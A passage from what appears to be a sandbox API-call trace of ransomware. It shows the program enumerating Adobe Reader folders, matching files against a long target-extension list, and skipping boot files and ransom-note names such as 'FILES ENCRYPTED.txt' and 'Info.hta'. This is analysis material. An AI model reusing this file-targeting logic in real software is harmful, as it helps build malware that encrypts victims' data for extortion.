hHeap=0x670000) returned 1 [0273.351] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0273.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.352] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root") returned 118 [0273.352] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0273.352] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.352] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.352] lstrlenW (lpString="ui-strings.js") returned 13 [0273.352] lstrlenW (lpString=".1cd") returned 4 [0273.352] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.352] lstrlenW (lpString=".3ds") returned 4 [0273.352] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.352] lstrlenW (lpString=".3fr") returned 4 [0273.352] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.352] lstrlenW (lpString=".3g2") returned 4 [0273.352] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.352] lstrlenW (lpString=".3gp") returned 4 [0273.352] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.352] lstrlenW (lpString=".7z") returned 3 [0273.352] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.352] lstrlenW (lpString=".accda") returned 6 [0273.352] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.353] lstrlenW (lpString=".accdb") returned 6 [0273.353] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.353] lstrlenW (lpString=".accdc") returned 6 [0273.353] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.353] lstrlenW (lpString=".accde") returned 6 [0273.353] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.353] lstrlenW (lpString=".accdt") returned 6 [0273.353] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.353] lstrlenW (lpString=".accdw") returned 6 [0273.353] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.353] lstrlenW (lpString=".adb") returned 4 [0273.353] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".adp") returned 4 [0273.353] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".ai") returned 3 [0273.353] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.353] lstrlenW (lpString=".ai3") returned 4 [0273.353] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".ai4") returned 4 [0273.353] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".ai5") returned 4 [0273.353] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".ai6") returned 4 [0273.353] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".ai7") returned 4 [0273.353] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".ai8") returned 4 [0273.353] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.353] lstrlenW (lpString=".anim") returned 5 [0273.353] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.353] lstrlenW (lpString=".arw") returned 4 [0273.353] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".as") returned 3 [0273.354] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.354] lstrlenW (lpString=".asa") returned 4 [0273.354] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".asc") returned 4 [0273.354] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".ascx") returned 5 [0273.354] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.354] lstrlenW (lpString=".asm") returned 4 [0273.354] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".asmx") returned 5 [0273.354] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.354] lstrlenW (lpString=".asp") returned 4 [0273.354] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".aspx") returned 5 [0273.354] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.354] lstrlenW (lpString=".asr") returned 4 [0273.354] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".asx") returned 4 [0273.354] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".avi") returned 4 [0273.354] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".avs") returned 4 [0273.354] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".backup") returned 7 [0273.354] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.354] lstrlenW (lpString=".bak") returned 4 [0273.354] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.354] lstrlenW (lpString=".bay") returned 4 [0273.354] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".bd") returned 3 [0273.355] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.355] lstrlenW (lpString=".bin") returned 4 [0273.355] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".bmp") returned 4 [0273.355] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".bz2") returned 4 [0273.355] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".c") returned 2 [0273.355] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.355] lstrlenW (lpString=".cdr") returned 4 [0273.355] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".cer") returned 4 [0273.355] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".cf") returned 3 [0273.355] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.355] lstrlenW (lpString=".cfc") returned 4 [0273.355] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".cfm") returned 4 [0273.355] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".cfml") returned 5 [0273.355] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.355] lstrlenW (lpString=".cfu") returned 4 [0273.355] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".chm") returned 4 [0273.355] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.355] lstrlenW (lpString=".cin") returned 4 [0273.356] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".class") returned 6 [0273.356] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.356] lstrlenW (lpString=".clx") returned 4 [0273.356] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".config") returned 7 [0273.356] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.356] lstrlenW (lpString=".cpp") returned 4 [0273.356] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".cr2") returned 4 [0273.356] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".crt") returned 4 [0273.356] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".crw") returned 4 [0273.356] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".cs") returned 3 [0273.356] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.356] lstrlenW (lpString=".css") returned 4 [0273.356] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".csv") returned 4 [0273.356] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".cub") returned 4 [0273.356] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".dae") returned 4 [0273.356] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.356] lstrlenW (lpString=".dat") returned 4 [0273.356] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".db") returned 3 [0273.357] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.357] lstrlenW (lpString=".dbf") returned 4 [0273.357] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dbx") returned 4 [0273.357] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dc3") returned 4 [0273.357] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dcm") returned 4 [0273.357] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dcr") returned 4 [0273.357] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".der") returned 4 [0273.357] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dib") returned 4 [0273.357] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dic") returned 4 [0273.357] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".dif") returned 4 [0273.357] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".divx") returned 5 [0273.357] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.357] lstrlenW (lpString=".djvu") returned 5 [0273.357] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.357] lstrlenW (lpString=".dng") returned 4 [0273.357] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".doc") returned 4 [0273.357] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.357] lstrlenW (lpString=".docm") returned 5 [0273.357] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.598] lstrlenW (lpString=".docx") returned 5 [0273.598] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.598] lstrlenW (lpString=".dot") returned 4 [0273.616] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.617] lstrlenW (lpString=".dotm") returned 5 [0273.617] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.617] lstrlenW (lpString=".dotx") returned 5 [0273.620] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.620] lstrlenW (lpString=".dpx") returned 4 [0273.620] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.620] lstrlenW (lpString=".dqy") returned 4 [0273.620] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.620] lstrlenW (lpString=".dsn") returned 4 [0273.620] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.620] lstrlenW (lpString=".dt") returned 3 [0273.620] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.620] lstrlenW (lpString=".dtd") returned 4 [0273.646] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.646] lstrlenW (lpString=".dwg") returned 4 [0273.647] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".dwt") returned 4 [0273.647] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".dx") returned 3 [0273.647] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.647] lstrlenW (lpString=".dxf") returned 4 [0273.647] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".edml") returned 5 [0273.647] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.647] lstrlenW (lpString=".efd") returned 4 [0273.647] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".elf") returned 4 [0273.647] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".emf") returned 4 [0273.647] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".emz") returned 4 [0273.647] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".epf") returned 4 [0273.647] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".eps") returned 4 [0273.647] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.647] lstrlenW (lpString=".epsf") returned 5 [0273.647] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.647] lstrlenW (lpString=".epsp") returned 5 [0273.647] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.647] lstrlenW (lpString=".erf") returned 4 [0273.647] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".exr") returned 4 [0273.648] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".f4v") returned 4 [0273.648] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".fido") returned 5 [0273.648] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0273.648] lstrlenW (lpString=".flm") returned 4 [0273.648] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".flv") returned 4 [0273.648] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".frm") returned 4 [0273.648] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".fxg") returned 4 [0273.648] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".geo") returned 4 [0273.648] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".gif") returned 4 [0273.648] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".grs") returned 4 [0273.648] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".gz") returned 3 [0273.648] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.648] lstrlenW (lpString=".h") returned 2 [0273.648] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.648] lstrlenW (lpString=".hdr") returned 4 [0273.648] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0273.648] lstrlenW (lpString=".hpp") returned 4 [0273.648] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".hta") returned 4 [0273.649] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".htc") returned 4 [0273.649] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".htm") returned 4 [0273.649] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".html") returned 5 [0273.649] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0273.649] lstrlenW (lpString=".icb") returned 4 [0273.649] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".ics") returned 4 [0273.649] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".iff") returned 4 [0273.649] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".inc") returned 4 [0273.649] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".indd") returned 5 [0273.649] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0273.649] lstrlenW (lpString=".ini") returned 4 [0273.649] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".iqy") returned 4 [0273.649] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".j2c") returned 4 [0273.649] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0273.649] lstrlenW (lpString=".j2k") returned 4 [0273.649] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".java") returned 5 [0273.650] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0273.650] lstrlenW (lpString=".jp2") returned 4 [0273.650] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".jpc") returned 4 [0273.650] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".jpe") returned 4 [0273.650] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".jpeg") returned 5 [0273.650] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0273.650] lstrlenW (lpString=".jpf") returned 4 [0273.650] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".jpg") returned 4 [0273.650] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".jpx") returned 4 [0273.650] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0273.650] lstrlenW (lpString=".js") returned 3 [0273.650] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.650] lstrlenW (lpString="ui-strings.js") returned 13 [0273.650] lstrlenW (lpString=".love$") returned 6 [0273.650] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0273.650] lstrlenW (lpString="ui-strings.js") returned 13 [0273.650] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0273.650] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0273.650] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0273.650] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0273.650] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0273.651] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0273.651] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0273.651] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0273.651] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js") returned 132 [0273.651] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.651] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0273.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.652] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0273.652] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru") returned 119 [0273.652] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru") returned 1 [0273.652] lstrlenW (lpString="ru-ru") returned 5 [0273.652] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ru-ru") returned -1 [0273.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.652] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru") returned 119 [0273.652] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0273.653] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.653] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.653] lstrlenW (lpString="ui-strings.js") returned 13 [0273.653] lstrlenW (lpString=".1cd") returned 4 [0273.653] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.653] lstrlenW (lpString=".3ds") returned 4 [0273.653] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.653] lstrlenW (lpString=".3fr") returned 4 [0273.653] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.653] lstrlenW (lpString=".3g2") returned 4 [0273.653] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.653] lstrlenW (lpString=".3gp") returned 4 [0273.653] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.653] lstrlenW (lpString=".7z") returned 3 [0273.653] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.653] lstrlenW (lpString=".accda") returned 6 [0273.653] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.653] lstrlenW (lpString=".accdb") returned 6 [0273.653] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.653] lstrlenW (lpString=".accdc") returned 6 [0273.654] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.654] lstrlenW (lpString=".accde") returned 6 [0273.654] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.654] lstrlenW (lpString=".accdt") returned 6 [0273.654] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.654] lstrlenW (lpString=".accdw") returned 6 [0273.654] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.654] lstrlenW (lpString=".adb") returned 4 [0273.654] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".adp") returned 4 [0273.654] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".ai") returned 3 [0273.654] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.654] lstrlenW (lpString=".ai3") returned 4 [0273.654] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".ai4") returned 4 [0273.654] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".ai5") returned 4 [0273.654] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".ai6") returned 4 [0273.654] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".ai7") returned 4 [0273.654] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".ai8") returned 4 [0273.654] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.654] lstrlenW (lpString=".anim") returned 5 [0273.654] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.654] lstrlenW (lpString=".arw") returned 4 [0273.654] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".as") returned 3 [0273.655] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 